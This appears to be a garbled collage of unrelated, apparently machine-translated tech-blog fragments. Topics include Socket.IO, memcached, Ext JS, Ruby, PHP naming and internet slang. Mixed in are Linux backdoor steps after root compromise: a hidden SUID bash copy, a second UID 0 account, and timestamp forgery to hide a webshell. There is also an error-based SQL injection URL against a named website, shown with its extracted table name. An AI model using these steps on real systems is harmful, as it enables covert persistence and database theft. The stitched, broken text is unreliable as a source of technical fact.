You are now a root user and want to leave a backdoor.
System Environment:
Dawg :~ # Uname-
Linux dawg 2.4.20-1-386 #3 Sat Mar 22 12:11:40 EST 2003 i686 GNU/Linux
1. SUID shell
First, switch to the root user and run the following command:
Dawg :~ # Cp/bin/bash/. wootdawg :~ # Chmod 4755/. wootdawg :~ # Ls-al/. woot-rwsr-xr-x 1 root 690668 Jul 24/. woot
Of course, you can also start other names that are more
introductionUnder the Unix system, the UID is 0, which is the root privilege. So when infiltration can add a UID of 0 users as the backdoor.Use MethodUseradd-o-U 0 BackdoorLinux/unix modifying file timestampsBrief introductionUnix under the hidden back door must be modified time, otherwise it is easy to be found, directly using touch .For example, referring to the time of index.php, and then to webshell.php, the result of two files is the same time.Use MethodTouch-r index.php webshell.phpor mod
.
Default chat room
Each socket automatically creates a default chat room after the connection is successful. The name of the chat room is the id of the current socket. You can use the default chat room to send messages to specific users.
socket.on('say to someone', (id, msg) => { socket.broadcast.to(id).emit('my message', msg)})
Message sending
Response Message
A common message does not need a response, but a response mechanism is provided for the response message.
Io. on ('connection', socket
+ table_name + from + information_schema.tables + where + table_schema = database () + limit + 0, 1 )))--
So lets load it up and see if we get our first table name!
Code:
XPATH syntax error :'~ Pdigclicks'
Woot it worked! Now we just increment in our limit statement until we find our table we want columns from.
Code: http://www.leadacidbatteryinfo.org/newsdetail.php? Id = 51 + and + extractvalue (rand (), concat (0x7e, (select + table_name + from
quick counters between requests.
With memcached configured correctly you can share data between applications written in your programming ages.
Give memcached a try. In the right scenarios it's a very simple and valid tive solution to maximize your web app performance.
Read the full article at: Improving Web App Performance With Memcached
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PHP Woot Checker-Tech, Wine, and Shirt Woot
Bo
message.
Io. on ('connection', socket => {socket. emit ('an event', {some: 'data'}) // common message socket. emit ('ferret ', 'tobi', function (data) {// Response Message console. log (data); // data will be 'woot '})})
socket.on('ferret', (name, fn) => { fn('woot')})
Compression
socket.compress(true)Enable compression. After the call, all data of the current connection will be compressed before being pa
, 0],Widgets: [\ 'zebra \ '],// Pass the headers argument and assign an objectHeaders :{// Assign the th column (we start counting zero)4 :{// Disable it by setting the property sorter to falseSorter: false}}});});'$ This-> headScript ()-> appendFile ('/js/jquery. tablesorter. js ')-> AppendScript ($ headScript );;?>
Note: headScript () is a Zend framework, so you can control which JavaScript is displayed on each page.
Ext JS
The method in the extension js is complicated. You create a data stor
. Kinda = a little bit = (example: The game is kinda hard for me. I kinda think I shoshould get it done as soon as possible .)12, tho = though = Although (example: that demo was very nice, kinda old tho. That demo is good, although a little old)13, plz = Please14, cmon = c 'mon = Come on15. suka = s ucker suck (suck), Er (table "person"), suck person... no innocent person can understand.16, enuff = enough17, Hax = hack = cheat, lie (very fashionable words, many foreigners use)18, Ty = Thank you
that wraps the C # function.
// prints hello world + the parameter passed in and return 5.0public class SpecialHelloWorld : LuaFunction{public SpecialHelloWorld(LuaReference globals) : base(globals){}public override int Execute(LuaState L){int index = L.Stack.Base;int top = L.Stack.Top - 1;// retrieve the first parameter at index and turn it into a string// add hello world and trace itSystem.Diagnostics.Trace.Write( "Hello World" + L.Stack[index].ToString() ); L.Stack[top]
= require(‘Socket.IO‘).listen(80);io.sockets.on(‘connection‘, function (socket) { socket.on(‘ferret‘, function (name, fn) { fn(‘woot‘); });});// Client (index.html)
Broadcast messages
A broadcast message is sent by the server and sent to all clients except the currently connected clients.
// Send the message to all clients except the sender. Socket. Broadcast. emit ('message', "this is a test ");
For example, broadcast user-defined events.
Establishing the server//server.jsvarIO = require (' Socket.io ') (80);varChat =io. of ('/chat ')//Set namespace. On (' Connection ',function(socket) {Socket.emit (' A message ', {// this will only be sent to its own socket that:' Only ' , '/chat ': ' would get ' }); Chat.emit (' A message ', {// global send everyone:' In ' , '/chat ': ' would get ' }); });varNews =io. of ('/news '). On (' Connection ',function(socket) {Socket.emit (' Item ', {news: ' Item ' }); });Send ReceiptsS
a more complex. You create a data store that defines the creation of a grid (table memory), and then adds data and then renders something again. Here's the code:
Copy Code code as follows:
$headScript = "
$ (document). Ready (function () {
$ (' #wheelink '). Bind (' click ', function () {
Ext.Msg.alert (' woot! ', ' for clicking me! ');
});
});
Ext.onready (function () {
Create the Grid
var Grid = new Ext.grid.TableGrid (\ "Conta
current desktop browser support is good, but the mobile browser support is relatively small:Chrome for Android supports INDEXEDDB, but few people currently use the browser on Android devices. Does the lack of support for mobile browsers mean that it should not be used? Of course not! Fortunately, our developers understand the concept of continuous improvement. Features like INDEXEDDB can be added to browsers that do not support this feature in other ways. Users can use the Wrapped class library
understood that they correspond to loops in the "then" and "else" Ruby languages respectively.
1. Infinite LoopCopy codeThe Code is as follows:Loopdo.....End
2. execute code snippets N timesCopy codeThe Code is as follows: times do......End
3. Array
Create an empty array'[]' Or Array. new
Query data in an arrayCopy codeThe Code is as follows: [1, 2, 3, 4, 5] [2]The result isCopy codeThe Code is as follows: 3
Ruby indexes start from 0 and start from-1.
Array GrowthCopy codeThe Code is as follows
previous two days, there have been some businesses in advance to start the promotion, this need to pay attention to.Third, the promotion information from where to find?If you're afraid you're missing out on a promotion, it's a good idea to log in early for the black Friday information-sharing platform. For example, domestic users can directly focus on "what is worth buying" such a platform, which provides a wealth of purchasing resources. As North America's largest "Money Express" also regularl
, Coffeebean and Pourover.
Constant name
Your PHP constants must all be capitalized. You can use underscores to separate words if you want. such as Woot, Let_our_powers_combine and Great_scott.
Method name
Your PHP method name must use the common CamelCase (lowercase hump) format. This means that the first letter of the method name is lowercase, and the first letter of each subsequent sub-word is still capitalized. such as Phpisawesome, Iloveb
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